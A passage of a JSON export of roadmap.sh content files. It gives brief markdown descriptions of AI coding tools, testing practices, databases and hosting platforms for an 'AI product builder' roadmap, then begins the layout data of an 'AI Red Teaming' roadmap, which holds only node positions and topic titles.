    "content": "# Cloudflare\n\nCloudflare offers serverless deployment for front-end apps and lightweight back-end functions through Cloudflare Workers and Pages. It has a generous free tier and deploys to a global edge network, which means fast load times for users anywhere in the world.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Cloudflare Roadmap](https://roadmap.sh/cloudflare)\n- [@official@Getting started with Cloudflare](https://developers.cloudflare.com/pages/get-started/)\n- [@video@What is Cloudflare?](https://www.youtube.com/watch?v=XHvmX3FhTwU)\n- [@video@IntroLearn Cloudflare Workers 101 - Full Course for Beginnersduction to Cloudflare](https://www.youtube.com/watch?v=24cml1rKGBs)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/codex@S7uHXLcxvtegkI1kirVS9.md",
    "content": "# Codex\n\nCodex is OpenAI's code-focused model, available through the API and integrated into tools like GitHub Copilot. It is strong at generating boilerplate and translating natural language descriptions into working code. It works best for well-defined, contained tasks rather than open-ended architectural decisions.\n\nVisit the following resources to learn more:\n\n- [@official@Codex Docs](https://developers.openai.com/codex)\n- [@course@Introduction to OpenAI Codex](https://www.coursera.org/learn/introduction-to-openai-codex)\n- [@video@Getting started with Codex](https://www.youtube.com/watch?v=px7XlbYgk7I)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/codex@xCoG801UzwsRaK0xmI9_B.md",
    "content": "# Codex\n\nCodex is best for translating a clearly defined requirement into working code. Describe the specific behavior you want; it generates the implementation. It works well for adding a new function, rewriting a poorly structured block, or converting logic from one pattern to another. Keep the scope narrow; the more specific the input, the more useful the output.\n\nVisit the following resources to learn more:\n\n- [@official@Codex Docs](https://developers.openai.com/codex)\n- [@course@Introduction to OpenAI Codex](https://www.coursera.org/learn/introduction-to-openai-codex)\n- [@video@Getting started with Codex](https://www.youtube.com/watch?v=px7XlbYgk7I)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/copilot@6HLxaflojoF0-cuIuPDeG.md",
    "content": "# Copilot\n\nCopilot works inline as you type and is best used when you know what you want to write but want to move faster. It predicts the next line or block based on the surrounding code. It is less useful for understanding unfamiliar code and more useful for extending code you already understand; use it when adding new logic to an existing file.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Copilot Docs](https://docs.github.com/en/copilot)\n- [@official@Copilot Tutorials](https://github.com/features/copilot/tutorials)\n- [@video@Intro to GitHob Copilot in Visual Studio](https://www.youtube.com/watch?v=z1ycDvspv8U)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/cursor@BEw1Iowb0KMiChtDGvKep.md",
    "content": "# Cursor\n\nCursor lets you select any part of the codebase and ask questions or request changes directly in the editor. It is the most practical tool for navigating AI-generated code you did not write yourself. Use it to understand what a file does, rename a pattern across the codebase, or make a targeted edit without having to read every line around it.\n\nVisit the following resources to learn more:\n\n- [@official@Cursor Docs](https://cursor.com/docs)\n- [@course@Cursor Learn](https://cursor.com/learn)\n- [@video@Cursor AI Tutorial for Beginners](https://www.youtube.com/watch?v=3289vhOUdKA)\n- [@video@Cursor Tutorial for Beginners (AI Code Editor)](https://www.youtube.com/watch?v=ocMOZpuAMw4)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/definition--scope@4dxljr8BtYkJDXbLeE0gW.md",
    "content": "# Definition & Scope\n\nBefore writing a single prompt, you need to know what you are building and why. This means defining the problem, identifying the core features, and setting the project's technical boundaries. A clear scope saves time and prevents the AI from generating things you do not need.\n\nVisit the following resources to learn more:\n\n- [@article@How to scope your AI product](https://uxdesign.cc/how-to-scope-your-ai-product-5b9885ef3851)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/digitalocean@ZxLukZLdGXGvV4MRHmoGh.md",
    "content": "# DigitalOcean\n\nDigitalOcean is a cloud provider focused on simplicity and developer experience. Its App Platform lets you deploy a full-stack application from a GitHub repository with minimal configuration. It is a practical middle ground between the simplicity of serverless platforms and the complexity of AWS or GCP.\n\nVisit the following resources to learn more:\n\n- [@official@DigitalOcean](https://www.digitalocean.com/)\n- [@official@DigitalOcean Tutorials](https://www.digitalocean.com/community/tutorials)\n- [@video@Getting Started With Kubernetes on DigitalOcean](https://www.youtube.com/watch?v=cJKdo-glRD0)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/e2e-testing@MB_6yVmgPZugbjxGzoq09.md",
    "content": "# E2E Testing\n\nEnd-to-end tests simulate a real user moving through the app from start to finish. They verify that the full system works as expected in an environment that resembles production. Tools like Playwright or Cypress automate these flows so you can run them on every deployment without manual effort.\n\nVisit the following resources to learn more:\n\n- [@article@End to End Testing](https://microsoft.github.io/code-with-engineering-playbook/automated-testing/e2e-testing/)\n- [@article@End to End Testing: Importance, Process, Best Practices & Frameworks](https://testgrid.io/blog/end-to-end-testing-a-detailed-guide/)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/feature-scoping@5qljkbrUWUAn-5Ng2AiaJ.md",
    "content": "# Feature Scoping\n\nList only the features that are strictly necessary for the first version of the product. Every feature you add increases the complexity of the generated code and the time needed to test and refine it. Start small, ship fast, and add features in later iterations.\n\nVisit the following resources to learn more:\n\n- [@article@How to effectively scope your software projects](https://www.freecodecamp.org/news/how-to-effectively-scope-your-software-projects-from-planning-to-execution-e96cbcac54b9/)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/feedback--validation@ZQ-kWlp5v9fimgHmG5hlR.md",
    "content": "# Feedback & Validation\n\nBefore generating the full product, share the prototype with your team and some potential users. You are looking for obvious gaps or misunderstandings in the design. Catching these at the prototype stage is much cheaper than fixing them after generation."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/gcp@6hl4_ft8onzq80v_nD8Q4.md",
    "content": "# GCP\n\nGoogle Cloud Platform is Google's cloud infrastructure service. It is particularly strong for data processing, machine learning workloads, and applications that need to integrate with other Google services. It is a competitive alternative to AWS for teams comfortable with Google's ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Google Cloud Platform](https://cloud.google.com)\n- [@official@Cloud Computing, Hosting Services, and APIs](https://cloud.google.com/gcp)\n- [@video@Google Cloud Platform Video Course](https://www.youtube.com/watch?v=fZOz13joN0o)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/gemini-cli@vGtnZaa5vH02cTgkVG6A-.md",
    "content": "# Gemini CLI\n\nGemini CLI is Google's command-line AI tool for developers. It integrates with your existing terminal workflow and can assist with code generation, explanation, and refactoring. It is a practical option if you are already working within the Google Cloud infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Gemini CLI Docs](https://geminicli.com/docs/)\n- [@course@Hands-on with Gemini CLI](https://codelabs.developers.google.com/gemini-cli-hands-on#0)\n- [@video@Gemini CLI: The AI agent that lives in your terminal](https://www.youtube.com/watch?v=C5Cjvpfzc_0)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/github@OFscURhjqJfh8qA3SKSfh.md",
    "content": "# GitHub\n\nGitHub is the most widely used platform for hosting and managing code. It tracks every change to the codebase, makes it easy to collaborate with others, and integrates with most CI/CD tools. Setting up a GitHub repository should be one of the first things you do after generating the codebase.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub Docs](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/gitlab@f_d4JlYSbP9BHuCR0kBpP.md",
    "content": "# GitLab\n\nGitLab is an alternative to GitHub that combines version control with built-in CI/CD pipelines and project management tools. It is a good option if you want everything in one platform or if your organization already uses it.\n\nVisit the following resources to learn more:\n\n- [@official@https://about.gitlab.com/get-started/ Documentation](https://docs.gitlab.com/)\n- [@official@Get Started with Gitlab](https://about.gitlab.com/get-started/)\n- [@video@GitLab Explained: What is GitLab and Why Use It?](https://www.youtube.com/watch?v=bnF7f1zGpo4)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/hope-ai@8ePFxmPv_Vm7SKoleM1tT.md",
    "content": "# Hope AI\n\nHope AI generates a complete, production-grade codebase from your requirements. Unlike most app builders, the output includes a full back end with a microservice architecture, a database schema, and an API layer. The generated code is portable and not tied to the Hope AI platform, meaning you can take it and work with it using any standard development tool."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/html--css--javascript@Cem2u4lHoA8KW-0GqVzcw.md",
    "content": "# HTML / CSS / JavaScript\n\nThese are the three foundational technologies of every web app. HTML defines the structure of a page, CSS controls how it looks, and JavaScript makes it interactive. You will encounter them when refining the front end of any generated application.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Frontend Roadmap](https://roadmap.sh/frontend)\n- [@roadmap@Visit the Dedicated HTML Roadmap](https://roadmap.sh/html)\n- [@roadmap@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@roadmap@Visit the Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/integration-testing@MXPA6I8K1_aKKQpgk2EcW.md",
    "content": "# Integration Testing\n\nIntegration tests check that different parts of the app work correctly together; for example, that a form submission reaches the database and returns the right response. They catch problems that unit tests miss because they test the connections between components, not the components themselves.\n\nVisit the following resources to learn more:\n\n- [@article@Integration Testing](https://www.guru99.com/integration-testing.html)\n- [@article@Unit Test vs Integration Test: What's the Difference?](https://www.testim.io/blog/unit-test-vs-integration-test/)\n- [@video@What is Integration Testing?](https://www.youtube.com/watch?v=kRD6PA6uxiY)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/lovable@T-NUiQvT8dKmg6UDGVSt_.md",
    "content": "# Lovable\n\nLovable generates a working front-end application from a text description. It is one of the fastest ways to move from an idea to a clickable prototype. The output is sufficient for early user testing but may require refinement before it is ready for production.\n\nVisit the following resources to learn more:\n\n- [@official@Lovable Docs](https://docs.lovable.dev/introduction/welcome)\n- [@article@What is Lovable AI? A Deep Dive into the Builder | UI Bakery Blog](https://uibakery.io/blog/what-is-lovable-ai)\n- [@video@Master Lovable In 24 Minutes](https://www.youtube.com/watch?v=rqvtLxwMklo)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/mongodb--atlas@gwHXA4WBrZN0VeAx5NKz7.md",
    "content": "# MongoDB / Atlas\n\nMongoDB is a document-based database that stores data in a flexible, JSON-like format. Atlas is MongoDB's managed cloud service, which handles backups, scaling, and monitoring automatically. It is a good fit for apps where the data structure is likely to change as the product evolves.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated MongoDB Roadmap](https://roadmap.sh/mongodb)\n- [@official@MongoDB Website](https://www.mongodb.com/)\n- [@official@Learning Path for MongoDB Developers](https://learn.mongodb.com/catalog)\n- [@official@Vector Search in MongoDB Atlas](https://www.mongodb.com/products/platform/atlas-vector-search)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/new-feature--structural-change@HZHzCLbK-oQh7gSokxHWq.md",
    "content": "# New Feature / Structural Change\n\nWhen a change affects the architecture of the app, such as adding a new service, reworking the data model, or introducing a new user flow, go back through the generation tool rather than patching the code manually. This keeps the codebase consistent and reduces technical debt."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/nodejs@d_2Uq2_Befe1tqM8_Y8lq.md",
    "content": "# Node.js\n\nNode.js is the runtime that allows JavaScript to run on a server. Most AI-generated back ends use Node.js. You will need a basic understanding of it when modifying API routes, adding middleware, or debugging server-side logic.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Node.js Roadmap](https://roadmap.sh/nodejs)\n- [@official@Node.jsLearn Node.js Official WebsiteDocs](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@video@Node.js and Express.js Full Course](https://www.youtube.com/watch?v=Oe421EPjeBE)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/postgresql--mysql@kfl0oJKi1OusryrSqO2jn.md",
    "content": "# PostgreSQL / MySQL\n\nPostgreSQL and MySQL are relational databases that store data in structured tables with defined relationships. They are the most widely used databases for web applications and are well supported by every major cloud provider. Use them when your data has a clear, stable structure and relationships between entities matter.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@PostgreSQL Docs](https://www.postgresql.org/docs/)\n- [@official@MySQL Dcos](https://dev.mysql.com/doc/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](https://www.postgresqltutorial.com/)\n- [@article@MySQL Tutorial](https://www.mysqltutorial.org/)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/problem-definition@kxDCkO0aZLY4_hd4_ykH6.md",
    "content": "# Problem Definition\n\nStart by writing one or two sentences describing the problem your app solves and who it solves it for. If you cannot explain the problem clearly, the generated output will be unfocused. This is the most important input you give to the entire process."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/railway@Sv7QfwPKaTsviScn2axhk.md",
    "content": "# Railway\n\nRailway is a deployment platform designed for speed and simplicity. It detects the type of project automatically and configures the deployment environment accordingly. It supports databases, back-end services, and front-end apps in the same project, which makes it convenient for full-stack deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Railway](https://railway.com/)\n- [@official@Quick Start Tutorial](https://docs.railway.com/quick-start)\n- [@video@Fastest Way to Deploy a Full Stack Web App (Railway)](https://www.youtube.com/watch?v=JQIKobOcQ9k)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/react@aHQ8f3ulEeUxTYCifzcPq.md",
    "content": "# React\n\nReact is the most widely used library for building web interfaces. Most AI-generated front ends use React by default. You will need a basic understanding of components, props, and state when making targeted changes to the UI layer of a generated app.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React Docs](https://react.dev/reference/react)\n- [@video@Full Stack React Developer Course](https://www.youtube.com/watch?v=Bvwq_S0n2pk)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/render@OBGQ-1bjYBdYi-_oFpmj8.md",
    "content": "# Render\n\nRender is a cloud platform that supports web services, background workers, cron jobs, and static sites. It is straightforward to configure and deploy directly from a GitHub repository. It is a good option for full-stack apps that need a persistent server without the overhead of managing infrastructure manually.\n\nVisit the following resources to learn more:\n\n- [@official@Render Docs + Quickstarts](https://render.com/docs)\n- [@article@Render: Cloud Deployment with Less Engineering](https://thenewstack.io/render-cloud-deployment-with-less-engineering/)\n- [@video@Deploy any application with one click using Render | Cloud Application Platform](https://www.youtube.com/watch?v=yWxBUcG_C7g)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/replit@Gf1egAjfyQyAJ4I-aT_Ip.md",
    "content": "# Replit\n\nReplit is a browser-based coding environment that also supports AI-assisted app generation. It is useful when you want to prototype and immediately run the code in the same place. It works well for small projects and quick experiments.\n\nVisit the following resources to learn more:\n\n- [@official@Replit Docs](https://docs.replit.com/getting-started/intro-replit)\n- [@article@What is Replit? An honest look at the AI app builder in 2025](https://www.eesel.ai/blog/replit)\n- [@video@Getting Started with Replit](https://www.youtube.com/watch?v=St95nPOwsa8&list=PLto9KpJAqHMTzEMDAFT4r5LlI4NByngyT)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/supabase@p4Ku5RT5uOVYPuduqz80M.md",
    "content": "# Supabase\n\nSupabase is an open-source alternative to Firebase built on top of PostgreSQL. It provides a managed database, built-in authentication, real-time subscriptions, and an auto-generated API. It is one of the fastest ways to add a back end to a generated front-end application.\n\nVisit the following resources to learn more:\n\n- [@official@Supabase Dcos](https://supabase.com/docs)\n- [@video@Supabase Full Course 2025 | Become a Supabase Pro in 1.5 Hours](https://www.youtube.com/watch?v=kyphLGnSz6Q)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/targeted-change@ydzaN2EHBVAavHS3iPQ40.md",
    "content": "# Targeted Change\n\nA targeted change is a small, localized fix: a bug in a component, a layout adjustment, a logic tweak. Use AI-assisted coding tools like Cursor, Claude Code, or Copilot to make these changes directly in the code without touching the broader architecture."
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/tech-stack--constraints@tN2X9NW0PhcP21OptheoD.md",
    "content": "# Tech Stack & Constraints\n\nDefine the technologies you want to use before generating anything. AI generation tools produce better output when given clear constraints rather than being left to choose freely. An important note when choosing your tech stack is to pick a popular stack like React, Next.js, Tailwind, or Supabase. AI tools have been trained on large amounts of code using these technologies and produce more reliable output with them. Niche or very new tools increase the chance of errors in the generated code and make it harder to find help when something breaks.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Vibe Coding Roadmap](https://roadmap.sh/vibe-coding)\n- [@article@The Best Tech Stack in the Age of AI](https://thebootstrappedfounder.com/the-best-tech-stack-in-the-age-of-ai/)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/unit-testing@VxqhYHA9YpWx70GIhKghY.md",
    "content": "# Unit Testing\n\nA unit test checks that a single function or component behaves as expected in isolation. AI-generated codebases sometimes include unit tests automatically; if they do not, write them for the parts of the code that handle critical business logic. They are the fastest type of test to run and the easiest to debug when they fail.\n\nVisit the following resources to learn more:\n\n- [@article@What is Unit Testing?](https://www.guru99.com/unit-testing-guide.html)\n- [@video@What is Unit Testing?](https://youtu.be/x95ez7_V7rA?si=JhCVhcEN7zZOkxdp)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/user-testing@aRA5S0Mmmhx9F0nhD3Wcp.md",
    "content": "# User Testing\n\nUser testing means putting the app in front of real people and watching how they use it. You are not looking for opinions; you are looking for moments where they hesitate, get confused, or do something unexpected. Each session gives you concrete input for the next refinement cycle.\n\nVisit the following resources to learn more:\n\n- [@article@What is User Testing? Definition, Types & Methods](https://trymata.com/blog/what-is-user-testing/)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/v0@xKBoLYQgpLDmOtDweVHei.md",
    "content": "# v0\n\nv0 is Vercel's UI generation tool. You describe a component or screen, and it produces React code ready to use in your project. It is best for generating individual UI components rather than full applications.\n\nVisit the following resources to learn more:\n\n- [@official@v0 Docs](https://v0.app/docs)\n- [@article@Transforming how you work with v0 - Vercel](https://vercel.com/blog/transforming-how-you-work-with-v0)\n- [@video@How To Use v0 by Vercel For Beginners](https://www.youtube.com/watch?v=41SR07p243Q)"
  },
  {
    "path": "src/data/roadmaps/ai-product-builder/content/vercel@wUg8ypt4aWXgMYGiaIdgy.md",
    "content": "# Vercel\n\nVercel is a platform designed for deploying and hosting web applications, particularly those built with modern frontend frameworks and static site generators. It provides features like automatic deployments from Git repositories, serverless functions, and a global content delivery network (CDN) to ensure fast and reliable performance. Vercel simplifies the process of taking a frontend project from development to production.\n\nVisit the following resources to learn more:\n\n- [@official@Vercel Documentation](https://vercel.com/docs)\n- [@official@Vercel Quick Start](https://vercel.com/docs/getting-started-with-vercel)\n- [@video@Vercel Tutorial - Host a Website for Free](https://www.youtube.com/watch?v=Vx5nPGdsFaU)"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/ai-red-teaming.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"jyFzaSxCTk4-SkVtAqXDV\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -611.5708359378116, \"y\": 1372.8104828019514 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"H4Y1ce23KsYCYq82ivOV0\"\n      },\n      \"zIndex\": -999,\n      \"width\": 255,\n      \"height\": 246,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 255, \"height\": 246 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"H4Y1ce23KsYCYq82ivOV0\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -612.0708359378116, \"y\": 1609.6518935505305 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 256,\n      \"height\": 173,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 256, \"height\": 173 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Rtu5ME2bE59I6aTleE5LW\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -231.66916540260297, \"y\": 803.6643439369004 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 254,\n      \"height\": 130,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 254, \"height\": 130 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KY9r0pUBM5Ekknhlcmmea\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -231.66916540260297, \"y\": 959.3204930098123 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 254,\n      \"height\": 191,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 254, \"height\": 191 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8hmAWdzRHE4qqvBblYrFY\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -362.4572811083598, \"y\": 558.0854351053018 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 174, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"t4IWddpRLqlm5vQgE-Cn0\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -614.4572811083598, \"y\": 501.47298193547056 },\n      \"width\": 255,\n      \"height\": 164,\n      \"style\": { \"width\": 235, \"height\": 170 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 255, \"height\": 164 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"Wjwheg_zRNrTZj67PBG5l\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 1.330834597397029, \"y\": 474.84080217184527 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 144, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"buH0t6fc1m7rIkFM_J-3a\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 168.28058268338464, \"y\": 592.5854351053018 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 261,\n      \"height\": 69,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 261, \"height\": 69 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -115.16916540260297, \"y\": -235.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -114.16916540260297, \"y\": -227.7695706291704 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 21, \"height\": 76 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 76 }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 109.84147172248669, \"y\": -241.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 138,\n      \"positionAbsolute\": { \"x\": 110.84147172248669, \"y\": -233.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 329, \"height\": 138 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 329, \"height\": 138 }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 120.34147172248669, \"y\": -164.7840072114252 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 308, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 121.34147172248669, \"y\": -156.7840072114252 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 308, \"height\": 49 }\n    },\n    {\n      \"id\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 129.89980850421182, \"y\": -49.63210941079885 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Security Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": -41.63210941079885 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 129.89980850421182, \"y\": 3.367890589201153 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Why Red Team AI Systems?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 11.367890589201153 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": { \"x\": -225.16916540260297, \"y\": -159.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Red Teaming\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -151.66916540260297, \"y\": -151.7695706291704 },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 241, \"height\": 68 }\n    },\n    {\n      \"id\": \"HFJIYcI16OMyM77fAw9af\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -192.66916540260297, \"y\": 26.367890589201124 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          